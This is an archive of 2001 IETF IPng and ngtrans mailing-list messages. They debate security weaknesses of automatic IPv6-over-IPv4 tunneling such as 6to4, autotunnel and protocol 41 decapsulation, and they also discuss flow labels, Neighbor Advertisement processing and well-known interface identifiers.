ESMTP id fBK9eaZR022713 for ; Thu, 20 Dec 2001 01:40:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBK9eZ69022712 for ipng-dist; Thu, 20 Dec 2001 01:40:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK9eWZR022705; Thu, 20 Dec 2001 01:40:32 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA06885; Thu, 20 Dec 2001 01:40:33 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA10795; Thu, 20 Dec 2001 01:40:32 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBK9eMj07643; Thu, 20 Dec 2001 11:40:22 +0200 Date: Thu, 20 Dec 2001 11:40:21 +0200 (EET) From: Pekka Savola To: Tony Hain cc: Vladislav Yasevich , , Subject: RE: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk First, let me point out a property of overloading protocol 41, from my draft: --8<-- There is a problem with multiple transition mechanisms if security is implemented. This may vary a bit from implementation to implementation. Consider three mechanisms using automatic tunneling: 6to4, ISATAP [ISATAP] and Automatic Tunneling using Compatible Addresses [MECH]. All of these use IP-IP (protocol 41) [IPIP] IPv4 encapsulation with, more or less, a pseudo-interface. When a router, which has any two of these enabled, receives an IPv4 encapsulated IPv6 packet: src_v4 = 10.0.0.1 dst_v4 = 20.20.20.20 src = 3ffe:ffff::1 dst = 2002:1010:1010::2 what can it do? How should it decide which transitionary mechanism this belongs to; there is no "transitionary mechanism number" in IPv6 or IPv4 header to signify this. Without any kind of security checks (in any of implemented methods) these often just "work" as the mechanisms aren't differentiated but handled in "one big lump". Configured tunneling [MECH] does not suffer from this as it is point- to-point, and based on src/dst pairs of both IPv4 and IPv6 addresses it can be deduced which logical tunnel interface is in the question. Solutions for this include not using more than one automatic tunneling mechanisms in the same system or binding different mechanisms to different IPv4 addresses. --8<-- In this case, consider a node which has configured tunnels, autotunnel and 6to4. If it receives a packet with: src=1.1.1.1 dst=2.2.2.2 src6=fe80::1 dst6=fe80::2 it cannot know which mechanism this was intended for. If configured tunnel was between 1.1.1.1 and 2.2.2.2, it could try to guess this must be meant for the configured tunnel. (I haven't looked into 6to4 multicast yet, but this kind of link-local assumption might not hold). however, if the packet is e.g.: src6=::1.1.1.1 dst6=fe80::2 is it for configured, autotunnel 6to4 (if the box is a 6to4 relay) or what? There are more unclear scenarios like this. This makes security checks rather difficult to implement. On Wed, 19 Dec 2001, Tony Hain wrote: > Pekka Savola wrote: > > Undeniably, you can input packets with: > > > > - link-local source (here: ff80::1) > > - link-local destination (here: ff80::2) > > - hop limit 255 > > > > in the tunnel interface. > > Not if the tunnel interface consistency check is applied to prevent it. > If you don't want to accpet link-local packets over the tunnel you are > not required to. Accepting packets through a filter needs to be done for > each of the interfaces. If you are willing to accept packets from any > IPv4 source, but not any IPv6 source, then you have to recheck the > packet once it is decapsulated. Autotunneling has no such checks, and 6to4 just mentions this (in the context of source addresses). Destination address? By RFC3056, relays cannot have either or these checks. Also see above. > > Now, if the router has 'ff80::2' configured as one of it's > > pseudo-interface addresses, that address can be reached via tunneling > with > > hop limit 255 from anywhere. > > > > See the potential problem here? > > Yes, the node is reachable using IPv4 from anywhere, and you are trying > to make believe that adding IPv6 is somehow a bigger problem. What is > the point? IPv6 has local-scoped addresses that have a special significance. Via mechanisms like 6to4 (depending on whether optional security precautions are taken) one can inject IPv4 packets in the internal network that would not have passed the IPv4 checks. > If packets can get there via IPv4, the fact that some of them > may be encapsulated IPv6 makes no difference. If a node has a policy > that packets over the global IPv4 interface go through some firewall > process, then the same policy MUST apply to the tunnel interface. If it > doesn't the site administrator is brain-dead and deserves what he gets. The site administrator is braindead because he allows people to use any (it's all or nothing) IPv6 tunneling mechanism? Note that IPv4 site administrator cannot know whether it's being used for configured, automatic or whatever tunnels. Do we want to make these braindead site operators block protocol 41? The point is, the checking is de-centralized from IPv4 firewalls to tunnel endpoints. If every host used 6to4 (the 6to4 host+router scenario), every 6to4 host would have to implement these checks, firewall policies etc. This is when site operators say: "no thanks! No ipv6 here please!". Is that what we want? > If your complaint is that a site administrator can't apply grainular > policy to a link-local address over a tunnel, you are right and they > simply need to block all FE80 addresses on that interface. Insecure by default? Hopefully not for the joe-random-user -orieted methods like 6to4 or shipworm at least. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 01:55:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK9tcZR022793 for ; Thu, 20 Dec 2001 01:55:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBK9tcQw022792 for ipng-dist; Thu, 20 Dec 2001 01:55:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK9tZZR022785; Thu, 20 Dec 2001 01:55:35 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA08478; Thu, 20 Dec 2001 01:55:36 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA29877; Thu, 20 Dec 2001 02:56:24 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBK9tOI32227; Thu, 20 Dec 2001 10:55:25 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id KAA09643; Thu, 20 Dec 2001 10:55:24 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBK9tOD62852; Thu, 20 Dec 2001 10:55:24 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112200955.fBK9tOD62852@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-reply-to: Your message of Wed, 19 Dec 2001 20:36:46 +0200. Date: Thu, 20 Dec 2001 10:55:24 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: There was a draft on "local-link" security threats: http://www.ietf.org/internet-drafts/draft-kempf-ipng-netaccess-threats-00.txt Some of these may apply _remotely_ to nodes which implement automatic tunneling mechanisms (autotunnel, 6to4, ...), too. => IPv4-compatible IPv6 addresses are phased out, 6to4 documents have an explicit section about needed checks against this kind of attacks. If you don't fill the ... you are just breaking an open door (:-)! Regards Francis.Dupont@enst-bretagne.fr PS: I agree blind decapsulation is bad but this is not a scoop. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 02:14:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAEeZR022846 for ; Thu, 20 Dec 2001 02:14:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKAEel8022845 for ipng-dist; Thu, 20 Dec 2001 02:14:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAEbZR022838 for ; Thu, 20 Dec 2001 02:14:37 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA10670 for ; Thu, 20 Dec 2001 02:14:38 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA23945 for ; Thu, 20 Dec 2001 03:14:19 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA12130; Thu, 20 Dec 2001 11:14:36 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA34610 from ; Thu, 20 Dec 2001 11:14:27 +0100 Message-Id: <3C21BA04.CC310F54@hursley.ibm.com> Date: Thu, 20 Dec 2001 11:14:28 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Hesham Soliman (ERA)" Cc: "'matthew.ford@bt.com'" , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4DA6EA82906FD511BE2F00508BCF053801C4C155@Esealnt861.al.sw.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Hesham Soliman (ERA)" wrote: > > > > > I had a preliminary idea and was going to write something > > > about it. Basically the sender can generate the flow label > > > based on a hash of the source and destination port numbers. > > > This is straight forward enough. If we want to make it > > > more sophisticated then we can add another number > > > to the hash input (e.g P1 || P2 || x). > > > Where x can be something specific to this flow. But > > > I think P1 and P2 are enough. > > > > I guess this doesn't work where the source is setting up > > flows to more than > > one destination using the same source and destination port > > numbers. So I > > think you need to include destination address in the hash > > computation as > > well. > > => Well, there is no requirement that the flow label is > globally unique. So this should work as long as you use > a unique value between 2 addresses. > However, it's only useful for a subset of cases, so I don't think it affects the basic definition in the draft. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 02:16:47 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAGlZR022863 for ; Thu, 20 Dec 2001 02:16:47 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKAGkIc022862 for ipng-dist; Thu, 20 Dec 2001 02:16:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAGhZR022855 for ; Thu, 20 Dec 2001 02:16:43 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA10963 for ; Thu, 20 Dec 2001 02:16:45 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA07994 for ; Thu, 20 Dec 2001 03:17:31 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBKAGBI02253; Thu, 20 Dec 2001 11:16:11 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id LAA10094; Thu, 20 Dec 2001 11:16:11 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBKAGBD62997; Thu, 20 Dec 2001 11:16:11 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112201016.fBKAGBD62997@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Markku Savela cc: ipng@sunroof.eng.sun.com Subject: Re: Clarify NA processing In-reply-to: Your message of Wed, 19 Dec 2001 21:25:54 +0200. <200112191925.VAA31777@burp.tkv.asdf.org> Date: Thu, 20 Dec 2001 11:16:11 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: Ok, but here is the problem: where in RFC-2461 this is stated? => section 4.4 page 24. Nor there is any mention about mandatory vs. non-mandatory TLL => idem There no word about NA being invalid depending on presence of TLL or not. => idem OK, this is all nitpicking, RFC needs just minor addition into 7.1.2: - if link uses addresses, then NA MUST have TLL. => NO, the MUST is in section 4.4 page 24. There is an explanation too... The only not written detail is that a NA which doesn't comply with a MUST is not valid, i.e. 7.1.2 is too brief. Regards Francis.Dupont@enst-bretagne.fr PS: I've checked, the correct adjective for a semantic thing is semantic (not semantical). -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 02:19:00 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAJ0ZR022894 for ; Thu, 20 Dec 2001 02:19:00 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKAJ0lk022893 for ipng-dist; Thu, 20 Dec 2001 02:19:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAIvZR022886 for ; Thu, 20 Dec 2001 02:18:57 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA24604 for ; Thu, 20 Dec 2001 02:18:58 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA25681 for ; Thu, 20 Dec 2001 03:18:57 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA12150; Thu, 20 Dec 2001 11:18:52 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA44146 from ; Thu, 20 Dec 2001 11:18:50 +0100 Message-Id: <3C21BB0A.F90B8DD7@hursley.ibm.com> Date: Thu, 20 Dec 2001 11:18:50 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: jarno.rajahalme@nokia.com Cc: kre@munnari.OZ.AU, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <009CA59D1752DD448E07F8EB2F91175719808E@esebe004.NOE.Nokia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk jarno.rajahalme@nokia.com wrote: > > The current draft states that a non-zero label could be changed by an > intermediate node to a non-zero value. However, during the discussion on the > topic in SLC it was concluded (IMO) that this is undesirable, and it would > be more useful (and sound) to keep the value always immutable (end-to-end). > > Then about the text about allowing changes if the value is preserved > end-to-end. I agree it is kind of weird, but the intention was to say that > if you really, really want to do label switching of any sort, you'll need to > pay the price of being able to restore the original value before going out > of a network doing such things. When I think about it, it makes no sense. The only way to restore the original value is if you carry it with the packet (nothing else is safe). That means adding a shim header. If you're going to add a shim header, you might as well use it for the label switching anyway, so there is simply no point in ever using the IPv6 label for label switching. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 02:37:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAbiZR023049 for ; Thu, 20 Dec 2001 02:37:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKAbhfW023048 for ipng-dist; Thu, 20 Dec 2001 02:37:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAbeZR023041 for ; Thu, 20 Dec 2001 02:37:40 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA13313 for ; Thu, 20 Dec 2001 02:37:37 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA04384 for ; Thu, 20 Dec 2001 03:37:37 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBKAaPI04910; Thu, 20 Dec 2001 11:36:25 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id LAA10513; Thu, 20 Dec 2001 11:36:25 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBKAaND63148; Thu, 20 Dec 2001 11:36:23 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112201036.fBKAaND63148@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Tony Hain" cc: haberman@innovationslab.net, ipng@sunroof.eng.sun.com Subject: Re: well-known Interface IDs In-reply-to: Your message of Wed, 19 Dec 2001 13:48:31 PST. Date: Thu, 20 Dec 2001 11:36:23 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I don't agree that we need to organize the space, but if everyone insists on going down this rat-hole then at least use the IANA allocated OUI 00-00-5E like ISATAP is doing. This will avoid the collision problems, plus make it clear who does the allocation and tracking if it wasn't already. => so I propose to split the thread into two basic questions: - predefined IIDs or not (authors of draft-ietf-ipngwg-dns-discovery-03.txt, please answer) - if yes how to organize the space? About your proposal, if we set the globally unique bit on, you get IIDs which are no more globally unique. If it is off, this won't avoid collision... The only advantage is the clarity, i.e. last argument. Regards Francis.Dupont@enst-bretagne.fr PS: I'll send the feedback to the HIP mailing-list when we'll reach a consensus. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 02:41:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAfgZR023110 for ; Thu, 20 Dec 2001 02:41:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKAfgCh023109 for ipng-dist; Thu, 20 Dec 2001 02:41:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKAfdZR023102; Thu, 20 Dec 2001 02:41:39 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA13636; Thu, 20 Dec 2001 02:41:41 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA17711; Thu, 20 Dec 2001 03:42:25 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBKAfaP08072; Thu, 20 Dec 2001 12:41:36 +0200 Date: Thu, 20 Dec 2001 12:41:36 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <200112200955.fBK9tOD62852@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 20 Dec 2001, Francis Dupont wrote: > In your previous mail you wrote: > > There was a draft on "local-link" security threats: > > http://www.ietf.org/internet-drafts/draft-kempf-ipng-netaccess-threats-00.txt > > Some of these may apply _remotely_ to nodes which implement automatic > tunneling mechanisms (autotunnel, 6to4, ...), too. > > => IPv4-compatible IPv6 addresses are phased out, 6to4 documents > have an explicit section about needed checks against this kind of > attacks. If you don't fill the ... you are just breaking an open door (:-)! ISATAP, perhaps (haven't really looked into it yet). I disagree about 6to4: I wouldn't say security considerations is an explicit section as such, and certainly not about _this_ kind of attacks. Just a rather vague notes. Also note that autotunnel spec does not require that destination address must be compatible address when decapsulating. There's not all that much about source either. The issue is not about breaking the door but realizing someone left the back door open. > PS: I agree blind decapsulation is bad but this is not a scoop. Good we agree on blind decapsulation. I dislike that security was not discussed properly in the main context of the draft; more like as just an afterthough "for you security geeks, here are a few possible problems.." -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 03:00:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKB0nZR023300 for ; Thu, 20 Dec 2001 03:00:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKB0nh7023299 for ipng-dist; Thu, 20 Dec 2001 03:00:49 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKB0hZR023284; Thu, 20 Dec 2001 03:00:43 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA21069; Thu, 20 Dec 2001 03:00:44 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA11431; Thu, 20 Dec 2001 03:00:42 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA12044; Thu, 20 Dec 2001 12:00:35 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA60978 from ; Thu, 20 Dec 2001 12:00:31 +0100 Message-Id: <3C21C4D0.5D81792A@hursley.ibm.com> Date: Thu, 20 Dec 2001 12:00:32 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: Tony Hain , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Incoming 6to4 traffic to a 6to4 site is recognized by the fact that the destination IPv6 address is a 2002: address. (The source may be anything if the traffic is from a relay.) As we've always said, 6to4 relays need to know who their cients are. This is the RFC 3056 model. I suspect that in the end, we will build lists of "trusted" 6to4 relays. It might be like my personal firewall, which asks me whether to admit packets when it first sees a new port being probed: Incoming IPv6 traffic from router.hacker.net; OK? Brian Pekka Savola wrote: > > First, let me point out a property of overloading protocol 41, from my > draft: > > --8<-- > There is a problem with multiple transition mechanisms if security is > implemented. This may vary a bit from implementation to > implementation. > > Consider three mechanisms using automatic tunneling: 6to4, ISATAP > [ISATAP] and Automatic Tunneling using Compatible Addresses [MECH]. > > All of these use IP-IP (protocol 41) [IPIP] IPv4 encapsulation with, > more or less, a pseudo-interface. > > When a router, which has any two of these enabled, receives an IPv4 > encapsulated IPv6 packet: > > src_v4 = 10.0.0.1 > dst_v4 = 20.20.20.20 > src = 3ffe:ffff::1 > dst = 2002:1010:1010::2 > > what can it do? How should it decide which transitionary mechanism > this belongs to; there is no "transitionary mechanism number" in IPv6 > or IPv4 header to signify this. > > Without any kind of security checks (in any of implemented methods) > these often just "work" as the mechanisms aren't differentiated but > handled in "one big lump". > > Configured tunneling [MECH] does not suffer from this as it is point- > to-point, and based on src/dst pairs of both IPv4 and IPv6 addresses > it can be deduced which logical tunnel interface is in the question. > > Solutions for this include not using more than one automatic > tunneling mechanisms in the same system or binding different > mechanisms to different IPv4 addresses. > --8<-- > > In this case, consider a node which has configured tunnels, autotunnel and > 6to4. > > If it receives a packet with: > > src=1.1.1.1 > dst=2.2.2.2 > src6=fe80::1 > dst6=fe80::2 > > it cannot know which mechanism this was intended for. > > If configured tunnel was between 1.1.1.1 and 2.2.2.2, it could try to > guess this must be meant for the configured tunnel. (I haven't looked into > 6to4 multicast yet, but this kind of link-local assumption might not > hold). > > however, if the packet is e.g.: > > src6=::1.1.1.1 > dst6=fe80::2 > > is it for configured, autotunnel 6to4 (if the box is a 6to4 relay) or > what? > > There are more unclear scenarios like this. > > This makes security checks rather difficult to implement. > > On Wed, 19 Dec 2001, Tony Hain wrote: > > Pekka Savola wrote: > > > Undeniably, you can input packets with: > > > > > > - 